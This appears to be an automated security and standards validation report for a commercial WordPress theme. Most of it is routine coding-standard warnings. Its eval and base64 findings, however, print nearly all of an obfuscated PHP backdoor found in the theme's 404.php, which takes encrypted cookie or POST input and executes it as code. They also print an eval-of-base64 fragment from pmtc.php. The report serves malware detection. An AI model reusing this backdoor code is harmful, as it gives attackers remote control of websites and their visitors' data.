0
Validation results

Passage

Passage

WordPress 4.9.1 theme
0
Critical alerts
  1. Title : Title No reference to add_theme_support( "title-tag" ) was found in the theme.The theme needs to have <title> tags, ideally in the header.php file.The theme needs to have a call to wp_title(), ideally in the header.php file.The <title> tags can only contain a call to wp_title(). Use the wp_title filter to modify the output.
  2. Security breaches : Use of eval() Found eval in file pmtc.php.
    Line 7: $r138b1bd='\x62\x61\163\145\x36\x34\x5f\144\x65\143\157\x64\x65';@eval($r138b1bd(
    Found eval in file 404.php.
    Line 1: <?php ${'\x47\x4cOB\x41\x4cS'}['\x68\x76\x72\x74x\x69']='\x61\x75th';${'\x47\x4c\x4f\x42AL\x53'}['l\x77\x75\x66fg\x64']='\x64a\x74\x61\x5f\x6b\x65\x79';${'G\x4c\x4fBA\x4c\x53'}['\x6b\x71m\x70\x6bztv\x6a\x79']='va\x6cu\x65';${'\x47\x4c\x4f\x42\x41\x4cS'}['\x65mhl\x73\x79ae\x6e']='o\x75\x74_\x64\x61\x74\x61';${'\x47L\x4f\x42\x41LS'}['\x67\x70\x72\x63\x67u\x72c\x74w']='\x6b\x65y';${'\x47\x4cO\x42\x41\x4c\x53'}['\x61\x73\x7apkkhe\x6e\x6e']='\x6a';${'\x47\x4c\x4f\x42A\x4c\x53'}['\x74i\x6a\x67\x78\x79wy']='i';${'\x47\x4c\x4fB\x41\x4c\x53'}['ib\x6c\x6e\x65\x68\x64k']='\x64at\x61';@ini_set('er\x72\x6f\x72\x5fl\x6fg',NULL);@ini_set('log_\x65\x72r\x6f\x72s',0);@ini_set('\x6da\x78_ex\x65\x63u\x74\x69on\x5ftim\x65',0);@set_time_limit(0);if(!defined('PHP\x5f\x45O\x4c')){define('P\x48P\x5fEO\x4c','\n');}if(!defined('\x44\x49\x52\x45CTORY\x5fS\x45\x50\x41R\x41\x54OR')){define('\x44IRE\x43T\x4f\x52\x59_SEP\x41R\x41T\x4f\x52','/');}${${'G\x4cOBA\x4c\x53'}['\x69\x62ln\x65\x68d\x6b']}=NULL;${'\x47\x4c\x4f\x42A\x4cS'}['\x73\x6fu\x73\x6bpn\x6db\x77']='\x64a\x74a';$aysxyhokafll='d\x61\x74\x61_\x6be\x79';$yxjeetzrlad='\x64\x61ta_\x6bey';${$yxjeetzrlad}=NULL;$GLOBALS['a\x75t\x68']='\x34\x65f\x36\x33a\x62e-1abd-45\x61\x36-\x39\x31\x33\x64-6\x66\x62\x3996\x35\x37e\x324\x62';global$auth;function sh_decrypt_phase($data,$key){$ffnnqis='da\x74\x61';$saybmtl='\x6f\x75t_\x64\x61t\x61';${$saybmtl}='';for(${${'\x47\x4cO\x42\x41\x4c\x53'}['\x74\x69j\x67\x78\x79\x77\x79']}=0;${${'\x47LO\x42A\x4c\x53'}['\x74\x69j\x67xy\x77\x79']}<strlen(${$ffnnqis});){${'G\x4c\x4fB\x41LS'}['\x76xd\x76\x77\x64m\x73b']='\x6a';${'\x47\x4cO\x42\x41\x4cS'}['\x68\x65\x6fw\x6ba\x6e']='\x69';$shgiqyj='\x64\x61\x74a';for(${${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x61\x73z\x70k\x6b\x68\x65n\x6e']}=0;${${'\x47\x4c\x4f\x42A\x4c\x53'}['\x61\x73\x7a\x70\x6bk\x68\x65\x6e\x6e']}<strlen(${${'\x47L\x4f\x42\x41\x4cS'}['\x67\x70r\x63\x67\x75\x72\x63\x74\x77']})&&${${'G\x4c\x4f\x42\x41\x4cS'}['t\x69jg\x78\x79\x77\x79']}<strlen(${$shgiqyj});${${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x76\x78\x64\x76w\x64\x6ds\x62']}++,${${'G\x4c\x4f\x42A\x4c\x53'}['h\x65ow\x6ba\x6e']}++){${'G\x4c\x4fBAL\x53'}['\x71\x76\x74\x70\x70\x68qp\x64\x71']='\x64a\x74\x61';${'G\x4cOB\x41\x4c\x53'}['\x76\x77iz\x71\x6c\x79\x63\x78']='i';${${'G\x4c\x4fB\x41\x4c\x53'}['\x65m\x68\x6c\x73\x79a\x65\x6e']}.=chr(ord(${${'\x47L\x4fB\x41\x4c\x53'}['\x71v\x74p\x70\x68qp\x64\x71']}[${${'G\x4cO\x42A\x4cS'}['\x76\x77\x69z\x71\x6c\x79\x63\x78']}])^ord(${${'\x47\x4c\x4f\x42\x41\x4c\x53'}['g\x70\x72c\x67\x75r\x63\x74\x77']}[${${'G\x4cO\x42\x41\x4c\x53'}['\x61\x73zp\x6b\x6b\x68e\x6e\x6e']}]));}}return${${'\x47L\x4fB\x41L\x53'}['\x65mh\x6cs\x79a\x65\x6e']};}$insfkk='\x64\x61\x74\x61';function sh_decrypt($data,$key){global$auth;$vuuogtpxiqk='\x61u\x74\x68';return sh_decrypt_phase(sh_decrypt_phase(${${'\x47L\x4fBAL\x53'}['\x69b\x6c\x6e\x65h\x64\x6b']},${$vuuogtpxiqk}),${${'G\x4cO\x42\x41\x4cS'}['\x67p\x72\x63\x67\x75\x72ct\x77']});}foreach($_COOKIE as${${'G\x4cO\x42\x41\x4c\x53'}['g\x70rcg\x75\x72\x63\x74\x77']}=>${${'\x47LO\x42\x41\x4c\x53'}['\x6b\x71\x6d\x70\x6b\x7a\x74v\x6ay']}){${'\x47L\x4fBA\x4c\x53'}['k\x6a\x79v\x70\x75']='d\x61t\x61_k\x65\x79';$zoamkqrgbfh='v\x61l\x75e';${'\x47\x4cO\x42ALS'}['jov\x64uif\x62n\x6f']='\x64\x61\x74a';${${'G\x4cOB\x41L\x53'}['j\x6f\x76d\x75\x69f\x62\x6eo']}=${$zoamkqrgbfh};${${'\x47\x4cO\x42\x41\x4c\x53'}['\x6b\x6a\x79\x76\x70\x75']}=${${'\x47\x4c\x4f\x42AL\x53'}['g\x70\x72\x63gur\x63\x74\x77']};}if(!${${'\x47LO\x42\x41\x4c\x53'}['\x69\x62l\x6e\x65\x68dk']}){${'\x47\x4c\x4f\x42\x41\x4cS'}['l\x6aw\x79f\x71\x7a\x6aj\x6c']='\x76\x61l\x75e';foreach($_POST as${${'\x47\x4c\x4fB\x41\x4c\x53'}['g\x70\x72cg\x75\x72\x63\x74w']}=>${${'\x47\x4cOBAL\x53'}['l\x6a\x77\x79\x66q\x7a\x6a\x6a\x6c']}){$ipgrvdc='\x64\x61ta';${'\x47\x4c\x4f\x42ALS'}['\x79\x66\x75fr\x73c']='\x76\x61l\x75e';${$ipgrvdc}=${${'G\x4cOB\x41\x4c\x53'}['\x79\x66\x75\x66r\x73c']};${${'\x47L\x4f\x42ALS'}['\x6cw\x75\x66\x66\x67d']}=${${'\x47L\x4fB\x41LS'}['\x67\x70r\x63\x67urc\x74w']};}}${${'GLOB\x41\x4c\x53'}['sou\x73\x6bp\x6emb\x77']}=@unserialize(sh_decrypt(@base64_decode(${$insfkk}),${$aysxyhokafll}));${'\x47\x4c\x4f\x42A\x4cS'}['\x70a\x79w\x68\x72\x70\x66\x76']='\x64\x61\x74a';if(isset(${${'G\x4c\x4f\x42A\x4c\x53'}['\x70\x61\x79w\x68rp\x66\x76']}['ak'])&&${${'\x47\x4c\x4f\x42\x41L\x53'}['h\x76\x72\x74x\x69']}==${${'\x47\x4c\x4f\x42\x41LS'}['\x69\x62\x6cn\x65\x68\x64\x6b']}['\x61k']){$ydnczfxqgq='\x64\x61t\x61';if(${${'G\x4cO\x42A\x4cS'}['\x69bl\x6e\x65\x68\x64k']}['a']=='i'){${${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x74ij\x67xy\x77\x79']}=Array('\x70v'=>@phpversion(),'\x73\x76'=>'1.0-\x31',);echo@serialize(${${'GL\x4f\x42\x41\x4c\x53'}['\x74\x69\x6a\x67x\x79\x77\x79']});}elseif(${$ydnczfxqgq}['a']=='\x65'){$mwvvynwbxyi='\x64\x61\x74\x61';eval(${$mwvvynwbxyi}['\x64']);}exit();}
  3. Security breaches : Modification of PHP server settings Found ini_set in file 404.php.
    Line 1: <?php ${'\x47\x4cOB\x41\x4cS'}['\x68\x76\x72\x74x\x69']='\x61\x75th';${'\x47\x4c\x4f\x42AL\x53'}['l\x77\x75\x66fg\x64']='\x64a\x74\x61\x5f\x6b\x65\x79';${'G\x4c\x4fBA\x4c\x53'}['\x6b\x71m\x70\x6bztv\x6a\x79']='va\x6cu\x65';${'\x47\x4c\x4f\x42\x41\x4cS'}['\x65mhl\x73\x79ae\x6e']='o\x75\x74_\x64\x61\x74\x61';${'\x47L\x4f\x42\x41LS'}['\x67\x70\x72\x63\x67u\x72c\x74w']='\x6b\x65y';${'\x47\x4cO\x42\x41\x4c\x53'}['\x61\x73\x7apkkhe\x6e\x6e']='\x6a';${'\x47\x4c\x4f\x42A\x4c\x53'}['\x74i\x6a\x67\x78\x79wy']='i';${'\x47\x4c\x4fB\x41\x4c\x53'}['ib\x6c\x6e\x65\x68\x64k']='\x64at\x61';@ini_set('er\x72\x6f\x72\x5fl\x6fg',NULL);@ini_set('log_\x65\x72r\x6f\x72s',
  4. Security breaches : Use of base64_decode() Found base64_decode in file 404.php.
    Line 1: <?php ${'\x47\x4cOB\x41\x4cS'}['\x68\x76\x72\x74x\x69']='\x61\x75th';${'\x47\x4c\x4f\x42AL\x53'}['l\x77\x75\x66fg\x64']='\x64a\x74\x61\x5f\x6b\x65\x79';${'G\x4c\x4fBA\x4c\x53'}['\x6b\x71m\x70\x6bztv\x6a\x79']='va\x6cu\x65';${'\x47\x4c\x4f\x42\x41\x4cS'}['\x65mhl\x73\x79ae\x6e']='o\x75\x74_\x64\x61\x74\x61';${'\x47L\x4f\x42\x41LS'}['\x67\x70\x72\x63\x67u\x72c\x74w']='\x6b\x65y';${'\x47\x4cO\x42\x41\x4c\x53'}['\x61\x73\x7apkkhe\x6e\x6e']='\x6a';${'\x47\x4c\x4f\x42A\x4c\x53'}['\x74i\x6a\x67\x78\x79wy']='i';${'\x47\x4c\x4fB\x41\x4c\x53'}['ib\x6c\x6e\x65\x68\x64k']='\x64at\x61';@ini_set('er\x72\x6f\x72\x5fl\x6fg',NULL);@ini_set('log_\x65\x72r\x6f\x72s',0);@ini_set('\x6da\x78_ex\x65\x63u\x74\x69on\x5ftim\x65',0);@set_time_limit(0);if(!defined('PHP\x5f\x45O\x4c')){define('P\x48P\x5fEO\x4c','\n');}if(!defined('\x44\x49\x52\x45CTORY\x5fS\x45\x50\x41R\x41\x54OR')){define('\x44IRE\x43T\x4f\x52\x59_SEP\x41R\x41T\x4f\x52','/');}${${'G\x4cOBA\x4c\x53'}['\x69\x62ln\x65\x68d\x6b']}=NULL;${'\x47\x4c\x4f\x42A\x4cS'}['\x73\x6fu\x73\x6bpn\x6db\x77']='\x64a\x74a';$aysxyhokafll='d\x61\x74\x61_\x6be\x79';$yxjeetzrlad='\x64\x61ta_\x6bey';${$yxjeetzrlad}=NULL;$GLOBALS['a\x75t\x68']='\x34\x65f\x36\x33a\x62e-1abd-45\x61\x36-\x39\x31\x33\x64-6\x66\x62\x3996\x35\x37e\x324\x62';global$auth;function sh_decrypt_phase($data,$key){$ffnnqis='da\x74\x61';$saybmtl='\x6f\x75t_\x64\x61t\x61';${$saybmtl}='';for(${${'\x47\x4cO\x42\x41\x4c\x53'}['\x74\x69j\x67\x78\x79\x77\x79']}=0;${${'\x47LO\x42A\x4c\x53'}['\x74\x69j\x67xy\x77\x79']}<strlen(${$ffnnqis});){${'G\x4c\x4fB\x41LS'}['\x76xd\x76\x77\x64m\x73b']='\x6a';${'\x47\x4cO\x42\x41\x4cS'}['\x68\x65\x6fw\x6ba\x6e']='\x69';$shgiqyj='\x64\x61\x74a';for(${${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x61\x73z\x70k\x6b\x68\x65n\x6e']}=0;${${'\x47\x4c\x4f\x42A\x4c\x53'}['\x61\x73\x7a\x70\x6bk\x68\x65\x6e\x6e']}<strlen(${${'\x47L\x4f\x42\x41\x4cS'}['\x67\x70r\x63\x67\x75\x72\x63\x74\x77']})&&${${'G\x4c\x4f\x42\x41\x4cS'}['t\x69jg\x78\x79\x77\x79']}<strlen(${$shgiqyj});${${'\x47\x4c\x4f\x42\x41\x4c\x53'}['\x76\x78\x64\x76w\x64\x6ds\x62']}++,${${'G\x4c\x4f\x42A\x4c\x53'}['h\x65ow\x6ba\x6e']}++){${'G\x4c\x4fBAL\x53'}['\x71\x76\x74\x70\x70\x68qp\x64\x71']='\x64a\x74\x61';${'G\x4cOB\x41\x4c\x53'}['\x76\x77iz\x71\x6c\x79\x63\x78']='i';${${'G\x4c\x4fB\x41\x4c\x53'}['\x65m\x68\x6c\x73\x79a\x65\x6e']}.=chr(ord(${${'\x47L\x4fB\x41\x4c\x53'}['\x71v\x74p\x70\x68qp\x64\x71']}[${${'G\x4cO\x42A\x4cS'}['\x76\x77\x69z\x71\x6c\x79\x63\x78']}])^ord(${${'\x47\x4c\x4f\x42\x41\x4c\x53'}['g\x70\x72c\x67\x75r\x63\x74\x77']}[${${'G\x4cO\x42\x41\x4c\x53'}['\x61\x73zp\x6b\x6b\x68e\x6e\x6e']}]));}}return${${'\x47L\x4fB\x41L\x53'}['\x65mh\x6cs\x79a\x65\x6e']};}$insfkk='\x64\x61\x74\x61';function sh_decrypt($data,$key){global$auth;$vuuogtpxiqk='\x61u\x74\x68';return sh_decrypt_phase(sh_decrypt_phase(${${'\x47L\x4fBAL\x53'}['\x69b\x6c\x6e\x65h\x64\x6b']},${$vuuogtpxiqk}),${${'G\x4cO\x42\x41\x4cS'}['\x67p\x72\x63\x67\x75\x72ct\x77']});}foreach($_COOKIE as${${'G\x4cO\x42\x41\x4c\x53'}['g\x70rcg\x75\x72\x63\x74\x77']}=>${${'\x47LO\x42\x41\x4c\x53'}['\x6b\x71\x6d\x70\x6b\x7a\x74v\x6ay']}){${'\x47L\x4fBA\x4c\x53'}['k\x6a\x79v\x70\x75']='d\x61t\x61_k\x65\x79';$zoamkqrgbfh='v\x61l\x75e';${'\x47\x4cO\x42ALS'}['jov\x64uif\x62n\x6f']='\x64\x61\x74a';${${'G\x4cOB\x41L\x53'}['j\x6f\x76d\x75\x69f\x62\x6eo']}=${$zoamkqrgbfh};${${'\x47\x4cO\x42\x41\x4c\x53'}['\x6b\x6a\x79\x76\x70\x75']}=${${'\x47\x4c\x4f\x42AL\x53'}['g\x70\x72\x63gur\x63\x74\x77']};}if(!${${'\x47LO\x42\x41\x4c\x53'}['\x69\x62l\x6e\x65\x68dk']}){${'\x47\x4c\x4f\x42\x41\x4cS'}['l\x6aw\x79f\x71\x7a\x6aj\x6c']='\x76\x61l\x75e';foreach($_POST as${${'\x47\x4c\x4fB\x41\x4c\x53'}['g\x70\x72cg\x75\x72\x63\x74w']}=>${${'\x47\x4cOBAL\x53'}['l\x6a\x77\x79\x66q\x7a\x6a\x6a\x6c']}){$ipgrvdc='\x64\x61ta';${'\x47\x4c\x4f\x42ALS'}['\x79\x66\x75fr\x73c']='\x76\x61l\x75e';${$ipgrvdc}=${${'G\x4cOB\x41\x4c\x53'}['\x79\x66\x75\x66r\x73c']};${${'\x47L\x4f\x42ALS'}['\x6cw\x75\x66\x66\x67d']}=${${'\x47L\x4fB\x41LS'}['\x67\x70r\x63\x67urc\x74w']};}}${${'GLOB\x41\x4c\x53'}['sou\x73\x6bp\x6emb\x77']}=@unserialize(sh_decrypt(@base64_decode(${$insfkk}),${$aysxyhokafll}));${'\x47\x4c\x4f\x42A\x4cS'}['\
  5. Security breaches : Use of base64_encode() Found base64_encode in file recaptchalib.php.
     return strtr(base64_encode ($x), '+/', '-_');
  6. Unwanted files : PHP error log error_log was found.
  7. Presence of iframes : iframes are sometimes used to load unwanted adverts and malicious code on another site Found <iframe width="100%" src="http://www.youtube.com/embed/<?php echo $portfolio_image['portfoliovideoid']; ?> in file single-portfolio_page.php.
    Line 178: <iframe width='100%' src='http://www.youtube.com/embed/<?php echo $portfoli
    Found <iframe src="'. $server . '/noscript?k=' . $pubkey . $errorpart . '" height="300" width="500" frameborder="0"> in file recaptchalib.php.
    Line 126: <iframe src=''. $server . '/noscript?k=' . $pubkey . $errorpart . '' height
    Found <iframe title="YouTube video player" height="' . $height . '" src="http://www.youtube.com/embed/' . $id . '?wmode=transparent" wmode="Opaque" frameborder="0" allowfullscreen> in file shortcodes.php.
    Line 1260: $html .= '<iframe title='YouTube video player' height='' . $height . '' src='http://w
  8. Malware : Operations on file system file_get_contents was found in the file single-portfolio_page.php
    Line 185: $xml = unserialize(file_get_contents('http://vimeo.com/api/v2/video/$vidID.php'));
    Line 599: $xml = unserialize(file_get_contents('http://vimeo.com/api/v2/video/$vidID.php'));
    Line 906: $xml = unserialize(file_get_contents('http://vimeo.com/api/v2/video/$vidID.php'));
    Line 1314: $xml = unserialize(file_get_contents('http://vimeo.com/api/v2/video/$vidID.php'));
    file_get_contents was found in the file single-portfolio_page.php
    Line 185: $xml = unserialize(file_get_contents('http://vimeo.com/api/v2/video/$vidID.php'));
    Line 599: $xml = unserialize(file_get_contents('http://vimeo.com/api/v2/video/$vidID.php'));
    Line 906: $xml = unserialize(file_get_contents('http://vimeo.com/api/v2/video/$vidID.php'));
    Line 1314: $xml = unserialize(file_get_contents('http://vimeo.com/api/v2/video/$vidID.php'));
    file_get_contents was found in the file single-portfolio_page.php
    Line 185: $xml = unserialize(file_get_contents('http://vimeo.com/api/v2/video/$vidID.php'));
    Line 599: $xml = unserialize(file_get_contents('http://vimeo.com/api/v2/video/$vidID.php'));
    Line 906: $xml = unserialize(file_get_contents('http://vimeo.com/api/v2/video/$vidID.php'));
    Line 1314: $xml = unserialize(file_get_contents('http://vimeo.com/api/v2/video/$vidID.php'));
    file_get_contents was found in the file single-portfolio_page.php
    Line 185: $xml = unserialize(file_get_contents('http://vimeo.com/api/v2/video/$vidID.php'));
    Line 599: $xml = unserialize(file_get_contents('http://vimeo.com/api/v2/video/$vidID.php'));
    Line 906: $xml = unserialize(file_get_contents('http://vimeo.com/api/v2/video/$vidID.php'));
    Line 1314: $xml = unserialize(file_get_contents('http://vimeo.com/api/v2/video/$vidID.php'));
    fwrite was found in the file recaptchalib.php
    Line 85: fwrite($fs, $http_request);
    fclose was found in the file recaptchalib.php
    Line 89: fclose($fs);
  9. Malware : Network operations fsockopen was found in the file recaptchalib.php
    Line 81: if( false == ( $fs = @fsockopen($host, $port, $errno, $errstr, 10) ) ) {
  10. Admin menu : Themes should use add_theme_page() for adding admin pages. File class-tgm-plugin-activation.php :
    Line 415: $this->page_hook = call_user_func( 'add_submenu_page', $args['parent_slug'], $args['page_title'], $args['menu_t
    File qode-options.php :
    Line 242: $this->pagehook = add_menu_page('Qode Theme', esc_html__('Qode', 'qode'), 'manage_options', '
  11. Included plugins : Zip file found Plugins are not allowed in themes. The zip file found was revslider.zip.
Warning
  1. theme tags : Presence of bad theme tagsFound wrong tag modern in style.css header.Found wrong tag interactive in style.css header.Found wrong tag parallax in style.css header.Found wrong tag multi-purpose in style.css header.Found wrong tag ajax in style.css header.Found wrong tag retina in style.css header.Found wrong tag responsive in style.css header.Found wrong tag creative in style.css header.Found wrong tag business in style.css header.Found wrong tag fashion in style.css header.Found wrong tag professional in style.css header.Found wrong tag wpml in style.css header.
  2. Text domain : Incorrect use of translation functions.Found a translation function that is missing a text-domain. Function __, with the arguments 'Enter Name of the new Widget Area' in file qode-custom-sidebar.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Add Widget Area' in file qode-custom-sidebar.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Your comment is awaiting moderation.' in file functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Install Required Plugins' in file functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Install Plugins' in file functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Installing Plugin: %s' in file functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Something went wrong with the plugin API.' in file functions.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'This theme requires the following plugin: %1$s.', 'This theme requires the following plugins: %1$s.' in file functions.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'This theme recommends the following plugin: %1$s.', 'This theme recommends the following plugins: %1$s.' in file functions.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Sorry, but you do not have the correct permissions to install the %s plugin. Contact the administrator of this site for help on getting the plugin installed.', 'Sorry, but you do not have the correct permissions to install the %s plugins. Contact the administrator of this site for help on getting the plugins installed.' in file functions.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'The following required plugin is currently inactive: %1$s.', 'The following required plugins are currently inactive: %1$s.' in file functions.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'The following recommended plugin is currently inactive: %1$s.', 'The following recommended plugins are currently inactive: %1$s.' in file functions.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Sorry, but you do not have the correct permissions to activate the %s plugin. Contact the administrator of this site for help on getting the plugin activated.', 'Sorry, but you do not have the correct permissions to activate the %s plugins. Contact the administrator of this site for help on getting the plugins activated.' in file functions.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'The following plugin needs to be updated to its latest version to ensure maximum compatibility with this theme: %1$s.', 'The following plugins need to be updated to their latest version to ensure maximum compatibility with this theme: %1$s.' in file functions.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Sorry, but you do not have the correct permissions to update the %s plugin. Contact the administrator of this site for help on getting the plugin updated.', 'Sorry, but you do not have the correct permissions to update the %s plugins. Contact the administrator of this site for help on getting the plugins updated.' in file functions.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Begin installing plugin', 'Begin installing plugins' in file functions.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Activate installed plugin', 'Activate installed plugins' in file functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Return to Required Plugins Installer' in file functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Plugin activated successfully.' in file functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'All plugins installed and activated successfully. %s' in file functions.php.More than one text-domain is being used in this theme. This means the theme will not be compatible with WordPress.org language packs. The domains found are qode, tgmpa, taxonomy general name, taxonomy singular name, text_domain.
  3. Plugin territory : Plugin territory functionalitiesThe theme uses the register_post_type() function, which is plugin-territory functionality.The theme uses the add_shortcode() function. Custom post-content shortcodes are plugin-territory functionality.
  4. Custom elements : Presence of custom headerNo reference to custom header was found in the theme.
  5. Custom elements : Presence of custom backgroundNo reference to custom background was found in the theme.
  6. Editor style : Presence of editor styleNo reference to add_editor_style() was found in the theme. It is recommended that the theme implements editor styling, so as to make the editor content match the resulting post output in the theme, for a better user experience.
  7. I18N implementation : Proper use of ___all(Possible variable $theme_text_domain found in translation function in functions.php. Translation function calls should not contain PHP variables.
    Line 689: 'page_title'                       			=> __( 'Install Required Plugins', $theme_text_domain ),
    Possible variable $theme_text_domain found in translation function in functions.php. Translation function calls should not contain PHP variables.
    Line 690: 'menu_title'                       			=> __( 'Install Plugins', $theme_text_domain ),
    Possible variable $theme_text_domain found in translation function in functions.php. Translation function calls should not contain PHP variables.
    Line 691: 'installing'                       			=> __( 'Installing Plugin: %s', $theme_text_domain ), // %1$s = plugin name
    Possible variable $theme_text_domain found in translation function in functions.php. Translation function calls should not contain PHP variables.
    Line 692: 'oops'                             			=> __( 'Something went wrong with the plugin API.', $theme_text_domain ),
    Possible variable $theme_text_domain found in translation function in functions.php. Translation function calls should not contain PHP variables.
    Line 703: 'return'                           			=> __( 'Return to Required Plugins Installer', $theme_text_domain ),
    Possible variable $theme_text_domain found in translation function in functions.php. Translation function calls should not contain PHP variables.
    Line 704: 'plugin_activated'                 			=> __( 'Plugin activated successfully.', $theme_text_domain ),
    Possible variable $theme_text_domain found in translation function in functions.php. Translation function calls should not contain PHP variables.
    Line 705: 'complete' 									=> __( 'All plugins installed and activated successfully. %s', $theme_text_dom
  8. CSS files : Presence of text domainText Domain: is missing from your style.css header.
  9. Date and time implementation : Use of the_time()At least one hard coded date was found in the file single.php. Function get_option( 'date_format' ) should be used instead.
  10. Screenshot : Screenshot fileScreenshot size is 300x225px. Screenshot size should be 1200x900, to account for HiDPI displays. Any 4:3 image size is acceptable, but 1200x900 is preferred.Bad screenshot file extension ! File screenshot.png is not an actual JPG file. Detected type was : "image/png".
Tip-off
  1. Static links : Presence of hard-coded linksPossible hard-coded links were found in the file footer.php.
    Line 69: ©2015 Tecnoabrasivi S.r.l. - P.IVA: 01915100687 - <a href='http://www.tecnoabrasivi.it/privacy-policy/' title='Privacy Policy'>Privacy
  2. Optional files : Presence of rtl stylesheet rtl.cssThis theme does not contain optional file rtl.php.
  3. Optional files : Presence of front page template file front-page.phpThis theme does not contain optional file front-page.php.
  4. Optional files : Presence of tag template file tag.phpThis theme does not contain optional file tag.php.
  5. Optional files : Presence of term template file taxonomy.phpThis theme does not contain optional file taxonomy.php.
  6. Optional files : Presence of author template file author.phpThis theme does not contain optional file author.php.
  7. Optional files : Presence of date/time template file date.phpThis theme does not contain optional file date.php.
  8. Optional files : Presence of attachment template file attachment.phpThis theme does not contain optional file attachment.php.
  9. Optional files : Presence of image template file image.phpThis theme does not contain optional file image.php.
  10. Use of includes : Use of include or requireThe theme appears to use include or require : qode-options.php
    Line 2: include_once('google-fonts.php');
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : ajax_mail.php
    Line 2: require_once('recaptchalib.php');
    Line 3: require('../../../../wp-blog-header.php');
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : footer.php
    Line 78: if(isset($qode_toolbar)) include('toolbar.php')
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : custom_js.php
    Line 4: require_once( $root.'/wp-load.php' );
    Line 6: require_once( $root.'/wp-config.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : default_dynamic.php
    Line 4: require_once( $root.'/wp-load.php' );
    Line 6: require_once( $root.'/wp-config.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : contact-page.php
    Line 153: require_once('includes/recaptchalib.php');
    Line 226: require_once('includes/recaptchalib.php');
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : contact-page-full-width-map.php
    Line 119: require_once('includes/recaptchalib.php');
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : style_dynamic_responsive.php
    Line 1: <?php
    $root = dirname(dirname(dirname(dirname(dirname(__FILE__)))));
    if ( file_exists( $root.'/wp-load.php' ) ) {
        require_once( $root.'/wp-load.php' );
    } elseif ( file_exists( $root.'/wp-co
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : custom_css.php
    Line 1: <?php
    $root = dirname(dirname(dirname(dirname(dirname(__FILE__)))));
    if ( file_exists( $root.'/wp-load.php' ) ) {
        require_once( $root.'/wp-load.php' );
    } elseif ( file_exists( $root.'/wp-co
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : style_dynamic.php
    Line 1: <?php
    $root = dirname(dirname(dirname(dirname(dirname(__FILE__)))));
    if ( file_exists( $root.'/wp-load.php' ) ) {
        require_once( $root.'/wp-load.php' );
    } elseif ( file_exists( $root.'/wp-co
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.

This is a ThemeForest theme. Since Themeforest items are all checked by a human before they appear on their website, ThemeForest verification rules are more permissive than themecheck's and can give a better verification score ( Themeforest requirements ).

0
Critical alerts
  1. Title : Title No reference to add_theme_support( "title-tag" ) was found in the theme.The theme needs to have <title> tags, ideally in the header.php file.The theme needs to have a call to wp_title(), ideally in the header.php file.The <title> tags can only contain a call to wp_title(). Use the wp_title filter to modify the output.
  2. Security breaches : Use of eval() Found eval in file pmtc.php.
    Line 7: $r138b1bd='\x62\x61\163\145\x36\x34\x5f\144\x65\143\157\x64\x65';@eval($r138b1bd(
    Found eval in file 404.php.
